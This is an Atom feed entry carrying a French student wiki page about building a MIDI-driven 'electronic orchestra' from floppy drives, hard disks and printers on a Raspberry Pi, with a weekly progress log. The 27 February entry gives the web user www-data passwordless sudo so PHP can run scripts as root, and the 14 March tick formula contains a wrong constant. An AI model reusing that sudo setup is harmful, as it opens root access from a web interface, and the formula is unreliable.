<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Avinot</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Avinot"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Avinot"/>
		<updated>2026-05-13T19:13:29Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Orchestre_%C3%A9lectronique&amp;diff=29619</id>
		<title>Orchestre électronique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Orchestre_%C3%A9lectronique&amp;diff=29619"/>
				<updated>2016-04-05T15:18:24Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Interaction avec l'encadrant */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interaction avec l'encadrant =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;Déposez ici vos remarques et commentaires&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;Précisez, s'il vous plaît la date et l'auteur du message&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Hidéo VINOT le 11/03/2016 &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Bonjour, je vous propose de faire la caractérisation en fréquence et en gain d'un des disques durs hauts parleurs que vous avez créé avec du matériel de mesure professionnel. Cela permettra de donner une courbe de haute précision et je pourrais me familiariser avec le matériel. J'ai besoin d'un des hauts parleurs et de son ampli avec des connectiques robustes. Si vous êtes d'accord contactez moi.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Hidéo VINOT le 05/04/2016 &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:grey&amp;quot;&amp;gt;&amp;quot;Proposition ; Au lieu d'utiliser un clavier MIDi type Synthétiseur, utilisation d'un clavier d'ordinateur. Certaines touches seront alors des notes (comme un clavier de piano) et on pourra alors jouer de la musique avec.&amp;quot;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Bonjour, c'est bien que vous arriviez a jouer de la musique depuis un clavier PC, mais si c'est une liaison série, pourquoi ne pas convertir les notes midis en une valeur ou une série de valeurs corespondant directement sur la raspberry? Le clavier MIDI reste un super outil pour jouer de la musique.&lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Le projet s'inscrit dans la démarche artistique de M. Lucas PRIEUX, artiste marionnettiste.&lt;br /&gt;
Son souhait est de montrer ce que les nouvelles technologies d'aujourd'hui nous apportent.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le dossier de création de la pièce HUMAINS est disponible ici [[http://collectif23h50.com/wp-content/uploads/2015/01/HUMAINS-Dossier-de-cre%CC%81ation-WEB1.pdf]]&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif final du projet est de créer un dispositif comprenant une entrée MIDI (standard pour le son), et des sorties sur lesquelles on&lt;br /&gt;
brancherait des instruments électroniques du type scanner ou lecteur de disquettes.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Le projet se divise donc en différentes étapes :&amp;lt;br /&amp;gt;&lt;br /&gt;
- La première étape est de bien définir le cahier des charges avec l'artiste afin de connaître ses attentes sur ce projet&amp;lt;br /&amp;gt;&lt;br /&gt;
- la seconde étape va être de mettre en place un dispositif (Raspberry Pi) permettant de décoder la trame MIDI reçu sur l'entrée et d'afficher les notes jouées par les instruments&amp;lt;br /&amp;gt;&lt;br /&gt;
- la dernière étape s'appuiera sur les volontés de l'artiste et des encadrants.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
Matériel nécessaire :&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Raspberry Pi&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Adaptateurs USB-MIDI avec 1 USB et 2 sorties MIDI_IN et MIDI_OUT disponible chez LDLC [[http://www.ldlc.com/fiche/PB00046193.html]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Instruments électroniques: du vieux matériel disponible ici en occasion pour pas cher:[[http://www.informatiqueoccasion.fr/]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Lecteurs de disquettes &amp;lt;/li&amp;gt; (vieux lecteurs disponibles au fabricarium)&lt;br /&gt;
&amp;lt;li&amp;gt; Disque dur &amp;lt;/li&amp;gt; (fabricarium peut-être)&lt;br /&gt;
&amp;lt;li&amp;gt; Imprimante matricielle &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Modem 56k&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Magnétoscope &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Lecteurs CD/ROM &amp;lt;/li&amp;gt; (fabricarium toujours)&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Calendrier prévisionnel===&lt;br /&gt;
&lt;br /&gt;
==Avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
===Préparation du projet : Mise en place du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
'''2/11/15 :''' Réunion avec les différents acteurs du projet afin de bien fixer les attentes, les volontés de ces derniers.&amp;lt;br/&amp;gt;&lt;br /&gt;
C'est également lors de cette réunion que l'on fixera le cahier des charges et le matériel nécessaire&amp;lt;br /&amp;gt;&lt;br /&gt;
''Résumé de la réunion :''&amp;lt;br /&amp;gt;&lt;br /&gt;
L'objectif de cette réunion était de fixer les attentes et les volontés du porteur du projet.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans un premier temps, nous avons discutés avec M.PRIEUX du contexte dans lequel était inséré ce projet.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous avons discutés des fonctionnalités du dispositif. Nous lui avons soumis 2 idées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Soit jouer en direct sur les instruments électroniques ce qui est joué sur un clavier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Soit pré-enregistrer une séquence d'instruments électroniques et de la re-jouer au moment voulu&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
M.PRIEUX a souhaité que ces 2 fonctionnalités soient intégrés au dispositif.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Il a également été question du coeur de notre dispositif. Nous nous sommes tous dit que si l'on utilisait un Arduino, il aurait été obligatoire d'ajouter en plus une Raspberry Pi pour y intégrer le logiciel. Nous avons donc conclus qu'utiliser une Raspberry Pi serait mieux pour éviter l'encombrement et pour disposer de plus de fonctionnalités.&amp;lt;br /&amp;gt;&lt;br /&gt;
Concernant la RP, une distribution Linux spécialisé pour le traitement du son a été évoqué.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Il a aussi été demandé d'étudier la plage de fréquences des différents appareils afin de répartir les notes sur les instruments.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cahier des charges :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Le dispositif est donc composé de :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une entrée MIDI afin de brancher un clavier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une Raspberry Pi afin de déterminer les canaux MIDI et de réaliser l'interface Web&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une sortie MIDI pour venir y brancher un synthétiseur de son MIDI afin de synthétiser les sons impossibles à jouer avec les instruments électroniques (possibilité de mise en place d'une deuxième RP muni du logiciel Rosegarden [[http://www.rosegardenmusic.com/]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une carte électronique permettant de venir brancher les différents instruments électroniques&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Notre dispositif devra donc avoir 2 fonctionnalités :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une première fonctionnalité sera de jouer en direct les notes sortant d'un clavier MIDI &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une deuxième fonctionnalité sera de pré-enregistrer une séquence d'instruments électroniques et de la rejouer au moment voulu &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Un petit schéma résumé s'impose :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Synopsis.jpg]]&lt;br /&gt;
&lt;br /&gt;
Sons disponibles avec tout notre matériel :&lt;br /&gt;
&lt;br /&gt;
Ici, un très joli bruit caractéristique d'un modem 56k (Ah, la nostalgie ...) : [[https://www.youtube.com/watch?v=hWNr9FBJhqQ]]&amp;lt;br /&amp;gt;&lt;br /&gt;
La, un très bon morceau joué sur lecteur de disquette : [[https://www.youtube.com/watch?v=lx_vWkv50uk]]&amp;lt;br /&amp;gt;&lt;br /&gt;
Et maintenant, l'impression (on dirait les machines à tickets de caisses ...) avec une imprimante matricielle : [[http://www.dailymotion.com/video/x1coygz_eye-of-the-tiger-joue-par-une-imprimante_]]&amp;lt;br /&amp;gt;&lt;br /&gt;
Le tout mis en oeuvre : [[http://www.dailymotion.com/video/x2mb45n_jouer-du-nirvana-avc-des-disques-dur-hdd-and-floppy-music-smell-like-teen-spirit_music]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 1===&lt;br /&gt;
&lt;br /&gt;
'''25/01/16 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Réception du matériel (disques dur, lecteurs de disquette, lecteurs CD, scanner et imprimantes) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Découverte du fonctionnement des lecteurs de disquettes (brochage, pins à utiliser pour piloter le moteur)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''27/01/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Découverte de la programmation des GPIO sur la RPi avec Python (bibliothèque RPi.GPIO)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Toujours avec Python, nous réussissons à faire vibrer le moteur du lecteur de disquette (en utilisant une PWM et en contrôlant les bonnes broches du floppy disk)&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans une boucle conditionné par des exceptions (try/catch), nous faisons vibrer pendant un certain temps le moteur à des fréquences différentes, en utilisant alternativement les méthodes ChangeFrequency sur l'objet représentant la PWM (p.ChangeFrequency(220) par exemple), et en utilisant la bibliothèque time et la méthode sleep (time.sleep(&amp;lt;durée de la note&amp;gt;))&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Programme pouvant &amp;quot;approximativement&amp;quot; jouer la marche impériale (Star Wars). Petites photos :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:floppy_disk.JPG | 250px | left]]&lt;br /&gt;
[[Fichier:RPi.JPG | 250px | right]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 2 ===&lt;br /&gt;
&lt;br /&gt;
'''01/02/2016 : '''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Amélioration du programme permettant de jouer la marche impériale (utilisation de 2 tableaux : un contenant la fréquence des notes à jouer, et l'autre contenant la durée des notes) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''03/02/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Début d'écriture d'un programme Python permettant de décoder un fichier MIDI --&amp;gt; Conclusion : Utilisation d'une bibliothèque au lieu de tout faire à la main&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test sur l'imprimante à aiguilles pour piloter le moteur --&amp;gt; SANS SUCCES (Communication série ?)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''04/06/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Écriture du programme communiquant avec l'imprimante a aiguilles en série avec la RPi (langage de description de page (PDL) Epson ESC/P2 pour envoyer les commandes en série à l'imprimante)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 3 ===&lt;br /&gt;
&lt;br /&gt;
'''10/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Fin d'écriture du programme traitant le fichier MIDI : en sortie, on obtient 3 tableaux : 1 contenant les notes, 1 contenant la hauteur des notes, et 1 contenant les ticks (date d'apparition de chaque événement). Ces tableaux nous serviront à gérer les GPIO pour les disques durs et les disquettes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test sur le disque dur : vibration de la tête de lecture (juste grâce à une alim pour voir si la tête vibrait)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''11/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Transformation d'un disque dur en instrument électronique : vibration de la tête de lecture grâce à une PWM&amp;lt;br /&amp;gt; &lt;br /&gt;
[[Fichier : DD0742.mp4 | center | 250px]]&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Inconvénient :''' Bruit très faible --&amp;gt; Besoin d'une caisse de résonance afin d'améliorer le son provenant de la tête de lecture (à étudier)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 4 ===&lt;br /&gt;
&lt;br /&gt;
'''24/02/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Tentative de communication avec le port série sur l'imprimante à aiguilles --&amp;gt; Toujours sans succès ... &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Au lieu d'utiliser la bibliothèque interne de la RPi pour gérer la PWM et les GPIO, nous utiliserons la bibliothèque WiringPi. Elle offre plus de fonctionnalités que la bibliothèque de base &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Début du codage de l'interface WEB :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Choix du serveur WEB : '''lighttpd''' : Pourquoi ? Tout simplement car il est beaucoup plus léger qu'un serveur Apache et qu'il est plus adapté pour les processeurs ARM dont dispose la RPi &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Interfaçage entre les scripts Python et Web : '''CGI''' (Common Gateway Interface).&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Architecture du serveur WEB et explications : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier : archi_serveur.jpg | 600px | center]]&lt;br /&gt;
Explications : Le serveur lighttpd prend sa racine dans le répertoire ''/var/www'' de la RPi. On dispose de 2 répertoires : ''html'' afin de stocker les pages WEB et ''cgi-bin'' afin de stocker les scripts destinés à être exécuté.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lorsque la page WEB demande l'exécution d'un script, ce dernier passe dans l'interpréteur contenu dans le serveur CGI, et le résultat est retourné vers la page WEB.&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''27/02/2016 (et oui, même le week-end, on bosse !) ''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
Grâce au matériel que l'on a chez nous, nous arrivons quand même à travailler sur l'interface WEB.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Problèmes rencontrés avec le codage d'un script pour découvrir wiringPi et CGI (utilisation d'une PWM pour faire tourner un servo-moteur):&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Problème avec les autorisations de l'utilisateur ''www-data'' du serveur : les scripts python (notamment ceux avec wiringPi) doivent s'exécuter en ''root'' pour pouvoir manipuler les GPIO.&amp;lt;br /&amp;gt;&lt;br /&gt;
Solution : Modifier le fichier ''/etc/sudoers'' afin que les scripts exécutés sous l'utilisateur ''www-data'' (serveur) puissent d'exécuter sans demander de mot de passe lors du passage à l'utilisateur ''root''. Et l'exécution des scripts python se fera par du php par la commande ''exec(sudo &amp;lt;chemin/script_python&amp;gt;)''&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
&lt;br /&gt;
'''29/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration de la Raspberry Pi pour aller sur internet, installer et mettre à jour les paquets (modification du fichier ''apt.conf'')&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Installation des différents paquets pour nous permettre de créer le serveur web et de faire tourner le serveur CGI (Paquets installés : lighttpd, fastcgi, php5-cgi, python-dev et python-pip)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Utilisation de l'utilitaire PIP pour installer la bibliothèque WiringPi2 (utilisation d'un script shell afin de passer le proxy dans la commande)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration du serveur lighttpd (modules à utiliser, prise en compte du serveur cgi et de l'exécution de scripts python et php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''02/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test du bon fonctionnement du serveur web lighttpd (test avec une page html, et une page php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test du bon fonctionnement de la bibliothèque WiringPi2 et du serveur CGI avec un petit script qui fait clignoter une LED 5 fois (utilité --&amp;gt; Nécessaire pour piloter 1 instrument seul)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Dans la perspective de contrôler plusieurs instruments en même temps, mise en place de threads afin de faire clignoter 3 LEDS en parallèle (utilisation de la bibliothèque ''threading'' de python, redéfinition du constructeur du thread ''__init__'' et redéfinition de la méthode ''run'' (code que va exécuter le thread) --&amp;gt; Vidéo à venir&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Problème : WiringPi ne gère que des PWM soft et ne gère pas les successions d'écriture. C'est donc inadapté à notre problème. On revient donc à la solution de départ qui est d'utiliser la bibliothèque de base de la RPi pour gérer les GPIO.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test d'un fichier HTML appelant un script PHP qui exécute un script python permettant de jouer la marche impériale sur 1 FDD --&amp;gt; SUCCES (vidéo à venir)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test pour gérer 2 FDD via les threads --&amp;gt; A poursuivre &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''03/03/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test pour gérer 2 FDD via threads --&amp;gt; Les 2 FDD jouent la même musique (Vidéo à venir)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration de git pour passer par le proxy (script shell) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Installation de la bibliothèque python-midi afin de gérer les fichiers MIDI&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lorsque nous lançons le script ''mididump.py'' qui est en charge de &amp;quot;décortiquer&amp;quot; le fichier MIDI, la sortie est une (longue) liste de commandes qui sont de la forme suivante : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;math&amp;gt;midi.noteOnEvent(tick=&amp;lt;tick&amp;gt;, channel=&amp;lt;channel, data=[&amp;lt;numero de la note&amp;gt;,&amp;lt;velocite&amp;gt;]&amp;lt;/math&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
A l'aide de notre script écrit précédemment afin de sortir les tableaux correspondant au morceau (3 tableaux :notes, vélocité, ticks), nous pourrons ainsi passer en paramètre de nos threads ces 3 tableaux, et les PWM feront le reste.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Amélioration du premier site web avec du CSS&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Recherche sur l'interprétation des &amp;quot;ticks&amp;quot; MIDI --&amp;gt; Ce serait l'instant où la note est joué, cet instant étant considéré par rapport à l'évènement précédent. Une modification de notre programme qui gère les PWM est à effectuer pour pouvoir gérer ces ticks.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
'''07/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Debut de l'association entre l'interface WEB, le programme python qui traite les fichiers MIDI, et les instruments&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Interprétation des ticks MIDI : Modification du programme en conséquence - Récupération des constantes de temps importantes telles que la résolution temporelle et la signature des clés (clé de DO, clé de SOL, utile pour la partition) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Création d'une association entre les numéros de notes et les fréquences de ces dernières : utilisation d'une table d'association clé-valeur &amp;lt;K,V&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; K : clé qui représente le numéro de la note&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;V : Fréquence associée à la note K&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''09/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Visite de M.PRIEUX dans les locaux de projet. Nous lui avons fait une démonstration de ce que nous avons fait depuis le début du projet (2 FDD qui jouent la même musique, le HDD transformé en HP, vibration de la tête d'un HDD avec une PWM)&amp;lt;br /&amp;gt;&lt;br /&gt;
Discussion sur les poursuites du projet, ainsi que sur les performances de nos instruments.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test sur les fichiers MIDI. Ca fonctionne, ca joue, mais les notes n'arrivent pas dans les temps voulu. C'est dû à une mauvaise interprétation des ticks MIDI. Le programme est donc à revoir&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 7===&lt;br /&gt;
'''14/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Récupération des différentes constantes de temps des fichiers MIDI : calcul de la conversion d'un tick MIDI en temps réel :&amp;lt;br /&amp;gt;&lt;br /&gt;
Le tick est l'unité de temps des fichiers MIDI. A l'intérieur du fichier se trouvent différentes valeurs permettant de définir le temps MIDI et le temps réel :&amp;lt;br /&amp;gt;&lt;br /&gt;
La résolution : Elle représente le nombre de tick par quart de note.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le temps : Il est représenté soit en BPM (battements par minute), soit en MPQ (microsecondes par quart de note).&amp;lt;br /&amp;gt;&lt;br /&gt;
Par défaut, le tempo est de 120 bpm.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ainsi, pour calculer un tick, il faut appliquer la formule suivante :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;math&amp;gt;dt = t(en MPQ)/R = (50000000/120)/R&amp;lt;/math&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Ainsi, pour calculer le temps pour P ticks par exemple, on a :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;math&amp;gt; dT = P * dt&amp;lt;/math&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''16/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Amélioration de la vibration de la tête de lecture d'un HDD : montage amplificateur de tension + montage push-pull (ampli de puissance) afin d'augmenter le volume&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Utilisation de l'imprimante à aiguilles : découverte du port parallèle et de sa programmation en C.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''17/03/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test avec l'imprimante à aiguilles : écriture sur le port parallèle via /dev/parport0. Une alternative nous a été proposée de tester en écrivant via /dev/lp0. A tester&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 8 ===&lt;br /&gt;
'''23/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Toujours aucun résultat avec l'imprimante. Après lecture de la datasheet plus en profondeur et avec quelques petites recherches, il s'avère que le connecteur DB-25 femelle disponible sur l'imprimante est en fait un port série ... &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Proposition ; Au lieu d'utiliser un clavier MIDi type Synthétiseur, utilisation d'un clavier d'ordinateur. Certaines touches seront alors des notes (comme un clavier de piano) et on pourra alors jouer de la musique avec. Dans l'attente d'une réponse, test sur des évènements clavier simples. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Amélioration de l'amplificateur pour le disque dur. On augmente l'amplitude de la PWM afin d'avoir plus de bruit en sortie &amp;lt;/li&amp;gt;&lt;br /&gt;
